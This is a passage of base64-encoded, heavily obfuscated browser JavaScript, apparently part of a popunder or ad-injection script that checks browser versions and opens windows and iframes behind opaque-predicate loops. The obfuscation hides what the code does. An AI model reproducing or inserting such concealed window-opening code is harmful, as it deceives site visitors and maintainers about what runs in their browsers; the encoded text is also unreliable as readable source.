MDk0KSE9PXE3KXtyZXR1cm4gWGMuYnx8WmMuWSgpfHxYYy5tfHxYYy5wdDw9MTd8fFhjLnB0Pj04OTt9cmV0dXJuIFhjLmImJlpjLlkoKSYmWGMubSYmWGMucHQ+PTQ5JiZYYy5wdDw2NDt9XSksdFtNcl0oW3RoaXMub2UsZnVuY3Rpb24oKXtyZXR1cm4gWGMuZDt9XSksdFtNcl0oW3RoaXMuc2UsZnVuY3Rpb24oKXtyZXR1cm4gWGMuZyYmWGMucHQ+PTExO31dKSx0W01yXShbdGhpcy5hZSxmdW5jdGlvbigpe3JldHVybiBYYy5odDt9XSksdFtNcl0oW3RoaXMuY2UsZnVuY3Rpb24oKXt2YXIgVDAsRTAsbzA7VDA9MTIwNjMzNjEyMTtFMD0xMjk2MjQyMjUyO28wPTI7Zm9yKHZhciBwMD0xO3c1LmQxKHAwLnRvU3RyaW5nKCkscDAudG9TdHJpbmcoKS5sZW5ndGgsNDUyNzYpIT09VDA7cDArKyl7cmV0dXJuIFhjLnV0fHxYYy5udHx8WGMucHQ+PTc0O28wKz0yO31pZih3NS5MMShvMC50b1N0cmluZygpLG8wLnRvU3RyaW5nKCkubGVuZ3RoLDY1MzgpIT09RTApe3JldHVybiBYYy51dCYmWGMubnQmJlhjLnB0PD00ODt9fV0pLHQpO319KS50ZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMudGVbWHRdPXtfZTprdSx1ZTpmdW5jdGlvbih0KXt2YXIgcjUsUTUsZTU7cjU9LTk1ODI4OTMwMTtRNT0tNjIxNDQ4NDIyO2U1PTI7Zm9yKHZhciBaNT0xO3c1LmQxKFo1LnRvU3RyaW5nKCksWjUudG9TdHJpbmcoKS5sZW5ndGgsOTUyNjgpIT09cjU7WjUrKyl7dGhpcy5mZT10O2U1Kz0yO31pZih3NS5MMShlNS50b1N0cmluZygpLGU1LnRvU3RyaW5nKCkubGVuZ3RoLDE0MzU1KSE9PVE1KXt0aGlzLmZlPXQ7fX0sbGU6a3UscGU6ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG8scyxhO2k9dGhpcztuPWkuZmU7cj1uLkh0KCk7bz1uLm10O3M9by53dHx8WmMuJCg1KTthPVpjLmsobyk7aWYodD1mdW5jdGlvbigpe3RyeXtpZih0eXBlb2Ygby5GdD09PVpzJiZvLkZ0W0NpXShuLHIsbyk9PT15dSl7cmV0dXJuIHl1O319Y2F0Y2godCl7S2MuZSh0KTt9cmV0dXJuIG11O30sZT1mdW5jdGlvbih0KXtpZih0eXBlb2Ygby5TdD09PVpzKXRyeXtvLlN0W0NpXShuLHIsbyx0KTt9Y2F0Y2godCl7S2MuZSh0KTt9fSx0KCk9PT15dSl7cmV0dXJuIHl1O310eXBlb2Ygb1t6XT09PVRjJiZvW3pdIT09ciYmKHI9b1t6XSk7R2MuanQoby5qdCk7dGhpcy5fZSgpO3RyeXtyZXR1cm4gdGhpcy5sZShyLG8scyxhLGZ1bmN0aW9uKHQpe2kuZGUodCk7aS5oZSYmR2MuaGUoKTtlKHQpO30pO31jYXRjaCh0KXtyZXR1cm4gS2MuZSh0KSx5dTt9fSx2ZTpmdW5jdGlvbih0LGUsaSl7cmV0dXJuKEdjLm10LmJlP1pjLkM6QXUpKHQsZSxpKTt9LGRlOmt1LGhlOmd1fTtRYy5tZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMubWVbWHRdPVpjLnkoUWMudGVbWHRdLHtoZTp5dSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3IodGhpcy52ZSh0LGksbikpO319KTtRYy5nZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMuZ2VbWHRdPVpjLnkoUWMudGVbWHRdLHtoZTohWGMub3QmJiFYYy5kLGxlOmZ1bmN0aW9uKHQsZSxpLG4scil7cih0aGlzLnZlKHQsRmkpKTt9fSk7UWMueWU9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLnllW1h0XT1aYy55KFFjLnRlW1h0XSx7a2U6ZnVuY3Rpb24oKXt2YXIgdCxlLGk7dD1HYy53ZSgpO2U9R2MueGUuUztpPXR5cGVvZiBHYy5tdC5PZT09PVpzP0djLm10Lk9lW0NpXSgpOkdjLm10Lk9lO3JldHVybiBmdW5jdGlvbigpe3ZhciBuLHI7cmV0dXJuIGkhPT1GdT9pOihuPVpjLiQoMSkscj1lP2k6R2MuQ2UodCl8fGksZXUucygpfHwhWGMub3QmJiFYYy5nP3I6KHR1LmEoY3UsbixtdSkscltaXSh2cixHcikrKEdyK3NlK0dyKStuKSk7fSgpO30sbGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgeDksejksaDksbyxzLGEsYyx1LGgsZixwO3g5PTE3MTA2NjI4Nzg7ejk9LTEwMzk3MjE3MTM7aDk9Mjtmb3IodmFyIEw5PTE7dzUuZDEoTDkudG9TdHJpbmcoKSxMOS50b1N0cmluZygpLmxlbmd0aCwzMDE4NykhPT14OTtMOSsrKXtoOSs9Mjt9aWYodzUuZDEoaDkudG9TdHJpbmcoKSxoOS50b1N0cmluZygpLmxlbmd0aCw0NTQ4MCkhPT16OSl7fWE9dGhpcy5rZSgpO2M9R2Mud2UoKTt1PVpjLk4oYyk7aD0xNTtmPVtdO3A9ZnVuY3Rpb24odCl7dmFyIGU7dHlwZW9mIHRbQW5dPT09WnMmJihlPXRbQW5dLGl1LlgodCxncyxlKSk7dFtBbl09ZnVuY3Rpb24oKXtyZXR1cm4geXU7fTt9O2ZvcihHYy5FZSgpLGMmJmNbU2MrR3IrbWNdPT09T24mJmNbYWErR3IrR2ldKFRpKSE9PUZpJiZaYy5mKGMsdW4pJiYocChjKSwwIT09Y1thYStHcitHaV0odW4pW0wrR3IrV2FdKEN0KSYmKGE9Y1thYStHcitHaV0odW4pKT09PUdyJiYoYT1GdSkpLGMmJmNbU2MrR3IrbWNdPT09T24mJmNbYWErR3IrR2ldKFRpKT09PUZpJiZaYy5mKGMsdW4pJiYocChjKSxpbyhmdW5jdGlvbigpe2NbQW5dPW11O30sM2UzKSxHYy5tdC5QZT9hPWNbYWErR3IrR2ldKHVuKTooYT1GdSxYYy5vdCYmKFhjLnV0P2ZbTXJdKGZ1bmN0aW9uKCl7QXUoY1thYStHcitHaV0odW4pLEZpKTt9KTppbyhmdW5jdGlvbigpe0F1KGNbYWErR3IrR2ldKHVuKSxGaSk7fSwyMCkpKSksWGMuZXQmJlhjLnV0fHxYYy5ldCYmWGMuc3QmJiFYYy5kJiYhWGMuYiYmIVhjLmh0PyhBdShhLEZpKSxaYy5IKEJyLGZ1bmN0aW9uKCl7WmMuVCh0KTt9LGgpKTohWGMub3QmJlpjLmgoYyxUaSkhPT1GaSYmKFhjLnV0JiZYYy5zdHx8WGMuaHQmJlhjLnB0PDEwfHxYYy5iJiZYYy5wdDw0MSk/WGMudXQ/KFpjLlEoYSksWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6KFpjLlEodCksY1tTYytHcittY109PT1PbiYmdSYmWmMuVCh1KSk6WGMuZXQmJlhjLmQ/KG89QXUoYSxGaSksWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6KG89eVtRYV0oVWErVnQrY2ksRmkpKT8ob1tFaV1bdW5dPWEsWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6bz1BdSh0LEZpKSxzPTA7czxmW3BpXTtzKyspe2Zbc11bQ2ldKCk7fW8mJnIobyk7fX0pO1FjLm9lPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5vZVtYdF09WmMueShRYy50ZVtYdF0se2hlOnl1LGxlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIG87bz10aGlzLnZlKHQsaSxuKTtvW2tuXSgpO1R1W2JvXSgpO1pjLk0obyk7aW8oZnVuY3Rpb24oKXtyKG8pO30sMWUzKTt9fSk7UWMuY2U9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLmNlW1h0XT1aYy55KFFjLnRlW1h0XSx7bGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO289dGhpcy52ZSh0LGksbik7cz1HYy5UZSgxZTMpO2l1LksoeSxibyxmdW5jdGlvbigpe2lvKGZ1bmN0aW9uKCl7WmMuUChzKTt9LDEwKTt9KTtvW2NjXT1mdW5jdGlvbigpe2lvKGZ1bmN0aW9uKCl7WmMuUChzKTt9LDEwKTt9O3Iobyk7fX0pO1FjLmFlPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5hZVtYdF09WmMueShRYy50ZVtYdF0se2xlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIEQ5LFc5LGw5LG87RDk9MTk0OTIwNzgwOTtXOT04OTkwMjg0O2w5PTI7Zm9yKHZhciBWOT0xO3c1LkwxKFY5LnRvU3RyaW5nKCksVjkudG9TdHJpbmcoKS5sZW5ndGgsNTc4NTApIT09RDk7VjkrKyl7bDkrPTI7fWlmKHc1LkwxKGw5LnRvU3RyaW5nKCksbDkudG9TdHJpbmcoKS5sZW5ndGgsNTEwNjgpIT09Vzkpe315W3NvXT1aYy4kKDUpO289dGhpcy52ZSh0LGksbik7dGhpcy52ZShHcix5W3NvXSxHcik7eVtzb109bXU7cihvKTt9LGhlOnl1fSk7UWMuc2U9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLnNlW1h0XT1aYy55KFFjLnRlW1h0XSx7bGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO289dGhpcy52ZShQdT90OkZ1LGksbik7cz1mdW5jdGlvbigpe29bRWldW3VuXT10O307aXUuSyhvLGtuLHMpO29ba25dKCk7VHVbYm9dKCk7aW8ocywxMDApO3Iobyk7fSxoZTp5dX0pO1FjLm5lPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5uZVtYdF09WmMueShRYy50ZVtYdF0se0ZlOmZ1bmN0aW9uKCl7dmFyIHQsZTtlPVpjLnooYXIse2RhdGE6WmMuTChlbitQZStNYyx0aGlzLkFlKStaYy4kKDMpfSk7cmV0dXJuKHQ9WmMueihoYyx7c3R5bGU6UGkrVnQrYStlcitvYytWdCtIcytlcitLYStWdCtIcytlcitEYStWdCtOK2VyK3ArVnQrRnIrSGErR3IrZXIrSGkrVnQrem4rZXIrayt3aStHYStWdCtYaStlciskbytWdCthK2VyK0dyfSkpW0l0K0dyK1dlXShlKSxbZSx0XTt9LFNlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9WmMueSh0LHt9KTtyZXR1cm4gZVtwXT1lW0hpXT05ZTUsZVtvY109ZVtLYV09MSxlO30sQWU6THQrR3IrdGErR3IrRmMrR3IrUHMrR3Irb24rR3IrV2MrR3IreG8rR3IrJCtHcithaStHcituK0dyK1NhK0dyK0tyK0dyK1F0K0dyK2t0K0dyK3p0K0dyK3RjK0dyK1l0K0dyK3ZhK0dyK3MrR3IrdmErdWMraG4rR3IrTGErR3IrenQrR3IrVytHcitEYytHcitaYStHcittdCtHcitWaStHcitzYStHcitVZStHcitUYStHcit2YStHcitWaStHcitQcitHcit4bytHcitVZStHcitpYytHcitwbytHcitLcitHcitKK0dyK2hzK0dyK1ppK0dyK3ZhK0dyK1ByK0dyK0xhK0dyK3p0K0dyK1crR3IrRmMrR3IrdGMrR3IrWGErR3IrVHMrR3IrWmkrR3IrdmErR3IrUHIrR3IrSGUrR3IrenQrR3IrVytHcitGYytHcit0YytHcityYytHcithZStHcit2aStHcit2YStHcitQcitHcitydCtHcitwcytHcittdCtHcituYStHcitUbytHcityZStHcit4bytHcit0YStHcitqaStHcitXK0dyK2F0K0dyK3ZhK0dyK1ByK0dyK2MrR3IrYit1YytFK0dyK1FvK0dyK3BzK0dyK2RjK0dyK1l0K0dyK3ZhK0dyK1lhK0dyK1hhK0dyK1RzK0dyK1ppK0dyK3ZhK0dyK0dlK0dyK09lK0dyK2dhK0dyK0hvK0dyK3ZhK0dyK1ByK0dyK2t0K0dyK3p0K0dyK1crR3IrRmMrR3IrdGMrR3IrdmErR3Ircm4rdWMrQnQrR3IrVm4rR3IrRStHcitucitHcitrdCtHcit6dCtHcitXK0dyK0RjK0dyK1phK0dyK210K0dyK1ZpK0dyK09lK0dyK1krR3IrS3QrR3IreG8rR3IrVWUrR3IrYnMrR3IrRnQrR3IrUG8rR3IrRStHcitVZStHcitiaStHcitVZStHcitTZStHcitWcitHcitEcytHcit4bytHcitVZStHcitHbytHcit2YStHcitQdCtHcitVZStHcitScitHcit5YytHcitPZStHcitWbytHcitLcitHcit2YytHcitiZStHcitzK0dyK3hjK0dyK0tvK0dyK3IrR3IrYWkrR3IrZnQrdWMrQnQrR3IrVm4rR3IrRStHcitucitHcitBZStHcit6dCtHcitXK0dyK0RjK0dyK1phK0dyK210K0dyK1ZpK0dyK05hK0dyK1RzK0dyK010K0dyK2hyK0dyK1lzK0dyK0tzK0dyK0UrR3IrVWUrR3IrZm4rR3IrcmMrR3IrYWUrR3IrRCtHcitMdCtHcitWcitHcit0YStHcittdCtHcitacitHcitWcitHcitPZSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3ZhciBzLGEsYyx1LGg7dT10aGlzO2g9eXU7dHJ5eyhhPXRoaXMudmUoVWErVnQrY2ksRmkpKVttcl1bcnJdKHc1LnU0KHVyLEdyLEdyLGpvLFBlLHVpLEdyLFFyLEdyLFBlLG8sR3IsdWksdWksR3IsdXIsUGUsR3IsdXIsam8sR3IsdXIsbyx1aSxHcix1cixHcix1aSxRcix1cix1aSx3NS5ZNCgxMykpKTtpdS5LKGEscWEsZnVuY3Rpb24oKXtmdW5jdGlvbiBmKCl7bigpO2FbSW9dKCk7bygpO3JvKGMpO31ofHwoaD1ndSxzPWFbQmNdPUF1KFVhK1Z0K2NpLGksWmMuayh1LlNlKGUpKSksaXUuWChhLGJvLGYpLGM9aW8oZiwzZTMpLGFbbXJdW1FyXVtQYStHcithaStHcit4YytHcit6dCtHcitwYV09dS5GZSgpWzFdW1BuK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXSk7ZnVuY3Rpb24gbigpe3c1Llk0KDE0KTthW21yXVtRcl1bdzUudTQoUGEsenQsR3IsR3IsR3IseGMsR3IsYWkscGEpXT1Hcjt9ZnVuY3Rpb24gbygpe3ZhciBhMSxZMSxmMTthMT0tMTU2OTI3MTMyMDtZMT0yMzc1ODcyNDtmMT0yO2Zvcih2YXIgRDE9MTt3NS5MMShEMS50b1N0cmluZygpLEQxLnRvU3RyaW5nKCkubGVuZ3RoLDk0NDMyKSE9PWExO0QxKyspe3NbRWMlR3ItYmFdKGVbSGldLGVbcF0pO3NbZGElR3IqYmFdKGVbb2NdLGVbS2FdKTtzW0VpXVtaXSh0KTtyKHMpO2YxKz0yO31pZih3NS5kMShmMS50b1N0cmluZygpLGYxLnRvU3RyaW5nKCkubGVuZ3RoLDYyNDUzKSE9PVkxKXtzW0VjJUdyLWJhXShlW0hpXSxlW3BdKTtzW2RhJUdyKmJhXShlW29jXSxlW0thXSk7c1tFaV1bWl0odCk7cihzKTt9c1tFYytHcitiYV0oZVtIaV0sZVtwXSk7c1tkYStHcitiYV0oZVtvY10sZVtLYV0pO3NbRWldW1pdKHQpO3Iocyk7fX0pO31jYXRjaCh0KXt9fX0pO1FjLnJlPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5yZVtYdF09WmMueShRYy5uZVtYdF0se2xlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIG8scztzPVpjLk8oZ3UpO2l1LksoeSxibyxmdW5jdGlvbigpe1pjLlAocyk7b1tFaV1bWl0odCk7cihvKTt9KTt3NS5vNCg0KTtvPXRoaXMudmUodzUuYzQoVWEsVnQsY2kpLEZpKTtzW3RvK0dyK3lhXVttcl1bcnJdKHRoaXMuRmUoKVsxXVtQbitHcithaStHcit4YytHcit6dCtHcitwYV0pO319KTtRYy5pZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMuaWVbWHRdPVpjLnkoUWMudGVbWHRdLHtMZTpmdW5jdGlvbih0KXt2YXIgZSxpLG47aT10aGlzO249eXU7dzUubzQoNCk7ZT10aGlzLnZlKHc1LmM0KFVhLFZ0LGNpKSx0Lnd0fHxGaSx0LkJlfHxHcik7dC56ZSYmKGUmJmVbSW9dKCksbj1ndSk7IW4mJmUmJmlvKGZ1bmN0aW9uKCl7ZVtFaV1bdW5dPXQueHQ7dC5JZSYmaS5JZShlKTt9LDEwMCk7fSx1ZTpmdW5jdGlvbih0KXt2YXIgZSxpLG47bj10aGlzO3RoaXMuamU9ZHJbTW5dKCk7dGhpcy5mZT10O2U9R2Mud2UoKTt3NS5vNCgxNSk7aT1aYy5CKGUsdzUuYzQoZ3QsR3IseGMsR3IsR3IsRmMseGMsR3IsZmMsR3IsVnIpKTsoZVtTYytHcittY109PT1PbiYmZVthYStHcitHaV0oanIpIT09RmkmJiFaYy5TKGUpfHxpJiYhWmMuUyhpKSkmJih0aGlzLmhlPWd1KTtpdS5YKHksSWUsZnVuY3Rpb24gdChlKXt0cnl7ZVtpZV0uamU9PT1uLmplJiZuLkxlKGVbaWVdKTtlW2llXS56ZSYmaXUuWih5LEllLHQpO31jYXRjaCh0KXt9fSk7fSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3RoaXMuSWU9cjt0aGlzLk1lKHtqZTp0aGlzLmplLEJlOm4sSWU6Z3UseHQ6dH0pO3RoaXMuTWUoe2plOnRoaXMuamUsemU6Z3UseHQ6VWErVnQrY2l9KTt9LGhlOnl1LE1lOmZ1bmN0aW9uKHQpe3lbSnQrR3IrWF0odCx5W0VpXVtSb10pO319KTtHYz17X2k6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5RaSgpK3RoaXMuSGkoKT5aYy5HKCk7fSxLaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLm10LkplO30sSmU6ZnVuY3Rpb24oKXt2YXIgdDt0PVpjLngoYXJndW1lbnRzWzBdKT9hcmd1bWVudHNbMF06YXJndW1lbnRzO3JldHVybiB0aGlzLm5uKHQsUm4sdFtwaV0mJnRbMF09PT15dSk7fSxraTpmdW5jdGlvbih0LGUsaSxuKXt0aGlzLk9pKGksdCxndSl8fG4oZ3UseXUpO30sV2k6ZnVuY3Rpb24odCl7dHJ5e3JldHVybiB0W3F0XSYmMCE9PXRbcXRdfHx0aGlzLmNpLkcrMTUwPlpjLkcoKTt9Y2F0Y2godCl7cmV0dXJuIHl1O319LFJpOmZ1bmN0aW9uKCl7dGhpcy5XZT1bXTt9LFlpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubXQucWU7fSxVaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLldlO30sWmU6bXUsVGk6ZnVuY3Rpb24odCl7dmFyIGU7ZT0wO2lmKCF0fHx0aGlzLnFpKHQpKXtyZXR1cm4geXU7fWlmKCF0aGlzLm10LnFlW3BpXXx8dFthYStHcitHaV0obG8pPT09ZnUpe3JldHVybiBndTt9Zm9yKDtlPHRoaXMubXQucWVbcGldO2UrKylpZih0PT09dGhpcy5tdC5xZVtlXXx8dHlwZW9mIHRoaXMubXQucWVbZV09PT1UYyYmKHRbU2MrR3IrbWNdPT09dGhpcy5tdC5xZVtlXVtYcytHcitwcitHcituY10oKXx8WmMuSSh0LHRoaXMubXQucWVbZV0pKXx8WmMuQih0LHRoaXMubXQucWVbZV0pKXtyZXR1cm4gZ3U7fXJldHVybiB5dTt9LHdlOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMueGUuUXQ7fSxMaTpmdW5jdGlvbigpe3ZhciB0LGU7ZT10aGlzO3RoaXMuWmU9WmMueihoYyx7c3R5bGU6b2MrVnQrRnIrSGErR3IrZXIrS2ErVnQrRnIrSGErR3IrZXIrRGErVnQrSXMrZXIrcCtWdCt6bitlcitIaStWdCt6bitlcitzbit3aStMK1Z0K25vK2VyK3h0K1Z0K1hpK2VyK0dyfSxHcik7dD1DbyhmdW5jdGlvbigpe3ZhciBpO2k9cmlbUXJdO2kmJihHcyh0KSxpW0l0K0dyK1dlXShlLlplKSk7fSwxMDApO30saGk6ZnVuY3Rpb24oKXt2YXIgTjksYTksWTksdCxlLGk7Tjk9LTUxNTA4MTc1NzthOT0tMTMwNjg1MTEzNztZOT0yO2Zvcih2YXIgczk9MTt3NS5kMShzOS50b1N0cmluZygpLHM5LnRvU3RyaW5nKCkubGVuZ3RoLDEwMDExKSE9PU45O3M5Kyspe1k5Kz0yO31pZih3NS5MMShZOS50b1N0cmluZygpLFk5LnRvU3RyaW5nKCkubGVuZ3RoLDQ1MzQ0KSE9PWE5KXt9aT10aGlzLlhlLm9pO2Zvcih0PTA7dDx0aGlzLmZpW3BpXSYmKCF0aGlzLnBpKCkmJiF0aGlzLl9pKCkpO3QrKyl7aWYoZT10aGlzLmZpW3RdLHRoaXMuWGUuc2krKyx0aGlzLlhlLm9pPVpjLkcoKSx0aGlzLmxpKGUpPT09eXUpe3JldHVybiB0aGlzLlhlLnNpLS0sdm9pZCh0aGlzLlhlLm9pPWkpO31pPXRoaXMuWGUub2k7ZXUuYShodSx0aGlzLlhlLm9pKTtlLnl0PT09bHUmJmV1LmEodXUsdGhpcy5YZS5zaSk7fX0sT2k6ZnVuY3Rpb24odCxlLGkpe3ZhciBuLHIsbyxzO3c1Lm80KDQpO289dzUuYzQoR3IsVHQsR3IpO3c1Llk0KDIpO3M9dzUuYzQobyx0KTtmb3Iobj0wO248ZVtwaV07bisrKWlmKHI9KEdyK090K0dyK1R0K0dyKVtMK0dyK1dhXShlW25dWzBdKT4tMT9lW25dOm8rZVtuXSxzW2ZzXShzW3BpXS1yW3BpXSk9PT1yfHxpJiZyPT09d3Upe3JldHVybiBndTt9cmV0dXJuIHl1O30sZW46ZnVuY3Rpb24odCxlKXt2YXIgTDAsZDAsTzAsaSxuO0wwPTEyMjU5MjUxNjQ7ZDA9LTc2NDA0NzIyNjtPMD0yO2Zvcih2YXIgQzA9MTt3NS5MMShDMC50b1N0cmluZygpLEMwLnRvU3RyaW5nKCkubGVuZ3RoLDk4MzQ3KSE9PUwwO0MwKyspe08wKz0yO31pZih3NS5MMShPMC50b1N0cmluZygpLE8wLnRvU3RyaW5nKCkubGVuZ3RoLDg1NTk4KSE9PWQwKXt9aT10aGlzO249dGhpcy50bih0LGUpO3RoaXMuV2VbTXJdKG4pO3RoaXMuRGkobik7dGhpcy5pbnx8KEdjLkNpKCksZnVuY3Rpb24oKXt2YXIgdCxlO1hjLmImJigoZT1yaVtVcytHcitDbl0oaGMpKVtSYytHcitpdF0oVmEsZnVuY3Rpb24oKXtDdT1ndTt9KSxDdT1vNSx0PUNvKGZ1bmN0aW9uKCl7aWYoQ3U9eXUsIWkubXQuUmUpe2lmKHR5cGVvZiB5W3dzXSE9PWFyfHx0eXBlb2YgeVt3c11bT29dIT09WnMpe3JldHVybiBDdT1vNSx2b2lkIEdzKHQpO315W3dzXVtPb10oZSk7eVt3c11bTWldKCk7fX0sNTAwKSk7fSgpLHRoaXMuaW49bzUpO30sUGk6ZnVuY3Rpb24odCl7cmV0dXJuIHRoaXMuSmkoKSx0P3RoaXMuZmlbcGldOnRoaXMuZmlbcGldPjA7fSx2aTpmdW5jdGlvbigpe3ZhciB0LGU7dD1aYy5HKCk7ZT1aYy5HKGF1KTt3NS5ZNCgxNik7dGhpcy5YZS5yaT13NS5jNChlLHQsMzE1MzYwMDAwMDApO3RoaXMuWGUucmkmJih0aGlzLmxpPWt1KTt9LEJpOmZ1bmN0aW9uKCl7dmFyIHQ7dD1VYyhldS5jKGh1KSwxMCk7cWModCkmJih0PTApO3RoaXMuWGUub2k9dDt9LENlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9WmMuTih0KTtyZXR1cm4gZSYmIXRoaXMubXQuTmUmJlpjLlModCk/eXU6ZTt9LGp0OmZ1bmN0aW9uKHQpe3ZhciBlLGksbjtlPXR5cGVvZiB0PT09Z2U/Z3U6ISF0O3c1Lm80KDIpO2k9dzUuYzQocnUsSSk7bj1yaVthYStHcitDbitHcitpaStHcit0bl0oaSk7ZT9ufHwobj1aYy56KERvLHtjb250ZW50OkljK3dpK2lhLG5hbWU6aWEsaWQ6aX0pLHJpW2FhK0dyK1JlK0dyK2lpK0dyK1JpK0dyK21jXShvKVswXVtJdCtHcitXZV0obikpOm4mJlpjLlAobik7fSxHaTpmdW5jdGlvbigpe3RoaXMuWGUuaWk9Z3U7dGhpcy5oaT1rdTt9LEp0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubXQuRGU7fSx5aTpmdW5jdGlvbih0LGUsaSxuLHIpe2Zvcih2YXIgbyxzPTA7czxlJiYobz10W3NdLCEoMT09PW4mJihyKGlbcytlXSx0W3NdKmlbc10rcysoaVtzXT4+cyszKSl8fHIoaVtzKzIqZV0sdFtzXSoodFswXSt0WzFdK3RbMl0pKyhpW3NdPDxzKSl8fHIoaVtzKzMqZV0sZHJbQWNdKHRbMF0qdFsxXSp0WzJdL28pK28rKGlbc10+PnMpKSl8fG48MSYmKHIoaVtzK2VdLHRbc10qaVtzXStzKXx8cihpW3MrMiplXSx0W3NdKih0WzBdK3RbMV0rdFsyXSkpfHxyKGlbcyszKmVdLGRyW0FjXSh0WzBdKnRbMV0qdFsyXS9vKStvKSkpKTtzKyspO30scWk6ZnVuY3Rpb24odCl7dmFyIGU7ZT0wO2lmKCF0fHwhdGhpcy5tdC5KZVtwaV0pe3JldHVybiB5dTt9Zm9yKDtlPHRoaXMubXQuSmVbcGldO2UrKylpZih0PT09dGhpcy5tdC5KZVtlXXx8dHlwZW9mIHRoaXMubXQuSmVbZV09PT1UYyYmKHRbU2MrR3IrbWNdPT09dGhpcy5tdC5KZVtlXXx8WmMuSSh0LHRoaXMubXQuSmVbZV0pKXx8WmMuQih0LHRoaXMubXQuSmVbZV0pKXtyZXR1cm4gZ3U7fXJldHVybiB5dTt9LGNpOnt1aTp7fSxHOjB9LEhpOmZ1bmN0aW9uKCl7cmV0dXJuIFhjLm90P2RyW0JvXSh0aGlzLm10LlZlLDFlMyk6WGMuYnx8WGMuZ3x8WGMuY3R8fFhjLnV0JiYhWGMuZXQ/ZHJbQm9dKHRoaXMubXQuVmUsMjAwKTp0aGlzLm10LlZlO30sRWU6ZnVuY3Rpb24odCl7dmFyIGUsWjcsdDcsVTc7Wjc9LTEyNTc1NDEyNDI7dDc9MTMwMDY1ODcyMDtVNz0yO2Zvcih2YXIgejc9MTt3NS5MMSh6Ny50b1N0cmluZygpLHo3LnRvU3RyaW5nKCkubGVuZ3RoLDgzNTc3KSE9PVo3O3o3Kyspe2U9dHx8dGhpcy5jaS51aTtVNys9Mjt9aWYodzUuZDEoVTcudG9TdHJpbmcoKSxVNy50b1N0cmluZygpLmxlbmd0aCwzMDU1KSE9PXQ3KXtlPXQmJnRoaXMuY2kudWk7fXRyeXtlW01vK0dyK25pXSYmZVtNbytHcituaV0oKTtlW3FlK0dyK19zXSYmZVtxZStHcitfc10oKTt3NS5vNCg0KTtlW3c1LmM0KE5yLEdyLGNvKV09eXU7dzUubzQoNCk7ZVt3NS51NChtcyxHcixIcildPWd1O31jYXRjaCh0KXt9fSxpOmZ1bmN0aW9uKCl7dmFyIE8xLEcxLEMxO08xPS0xMzAyMzI0NTE3O0cxPTg4ODY0MDYzMDtDMT0yO2Zvcih2YXIgbjE9MTt3NS5kMShuMS50b1N0cmluZygpLG4xLnRvU3RyaW5nKCkubGVuZ3RoLDU5MTU1KSE9PU8xO24xKyspe3JldHVybiB0aGlzLm10LlVlfHx0aGlzLm10LkRlO0MxKz0yO31pZih3NS5MMShDMS50b1N0cmluZygpLEMxLnRvU3RyaW5nKCkubGVuZ3RoLDIzODAyKSE9PUcxKXtyZXR1cm4gdGhpcy5tdC5VZSYmdGhpcy5tdC5EZTt9fSxwaTpmdW5jdGlvbigpe3ZhciBoNyxpNyxMNztoNz0tMTUxMTEyMzE1NDtpNz0tMTY3MjAwNTI5NjtMNz0yO2Zvcih2YXIgTzc9MTt3NS5kMShPNy50b1N0cmluZygpLE83LnRvU3RyaW5nKCkubGVuZ3RoLDMyNTMzKSE9PWg3O083Kyspe3JldHVybiB0aGlzLiRpKCk8dGhpcy5tdC5IZTtMNys9Mjt9aWYodzUuTDEoTDcudG9TdHJpbmcoKSxMNy50b1N0cmluZygpLmxlbmd0aCwxOTk5KSE9PWk3KXtyZXR1cm4gdGhpcy4kaSgpPj10aGlzLm10LkhlO319LGdpOmZ1bmN0aW9uKHQsZSxpLG4scil7Zm9yKHZhciBvLHM9MDtzPGUmJihvPXRbc10sISgxPT09biYmKHIob1trZStHcitucytHcitCaV0oMCkqaVtzXStzKzErKGlbc108PGlbc10lMTApLGlbZStzXSl8fHIob1trZStHcitucytHcitCaV0ob1twaV0tMSkqaVtzXSoyK3MrKGlbc10+PnMpLGlbMiplK3NdKXx8cihvW3BpXSppW3NdKjMrKGlbc108PHMpLGlbMyplK3NdKSl8fG48MSYmKHIob1trZStHcitucytHcitCaV0oMCkqaVtzXStzKzEsaVtlK3NdKXx8cihvW2tlK0dyK25zK0dyK0JpXShvW3BpXS0xKSppW3NdKjIrcyxpWzIqZStzXSl8fHIob1twaV0qaVtzXSozLGlbMyplK3NdKSkpKTtzKyspO30sV2U6W10sdG46ZnVuY3Rpb24odCxlKXtyZXR1cm4gbmV3IFljKHRoaXMuV2VbcGldLHQsZSk7fSxBaTpmdW5jdGlvbih0KXt0aGlzLmNpLnVpPXQ7dGhpcy5jaS5HPVpjLkcoKTt9LGFpOltdLE1pOmZ1bmN0aW9uKHQpe3JldHVybiBudS5YdCh0KSx0aGlzO